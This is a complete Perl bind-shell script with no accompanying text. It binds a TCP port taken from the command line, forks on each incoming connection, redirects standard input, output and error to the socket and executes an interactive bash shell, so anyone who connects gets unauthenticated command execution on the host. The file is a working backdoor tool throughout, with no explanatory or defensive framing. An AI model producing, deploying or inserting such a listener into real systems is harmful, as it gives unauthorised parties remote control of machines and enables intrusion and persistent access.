#!/usr/bin/perl
use strict;
use warnings;

my $SHELL = "/bin/bash -i";

if (@ARGV < 1) { 
    print "Usage: $0 <port>\n";
    exit(1); 
}

my $LISTEN_PORT = $ARGV[0];

use Socket;

my $protocol = getprotobyname('tcp');
socket(S, PF_INET, SOCK_STREAM, $protocol) || die "Can't create socket: $!\n";
setsockopt(S, SOL_SOCKET, SO_REUSEADDR, 1);
bind(S, sockaddr_in($LISTEN_PORT, INADDR_ANY)) || die "Can't bind port: $!\n";
listen(S, 3) || die "Can't listen: $!\n";

print "[+] Bind shell listening on port $LISTEN_PORT...\n";

while(1) {
    accept(CONN, S) || next;

    my $pid = fork();
    if (!defined $pid) {
        die "Cannot fork: $!\n";
    }

    if ($pid == 0) {
        # Child process
        open(STDIN,  "<&CONN");
        open(STDOUT, ">&CONN");
        open(STDERR, ">&CONN");

        exec($SHELL) || die "Can't execute $SHELL\n";
        exit(0);
    } 
    else {
        # Parent process
        close(CONN);
    }
}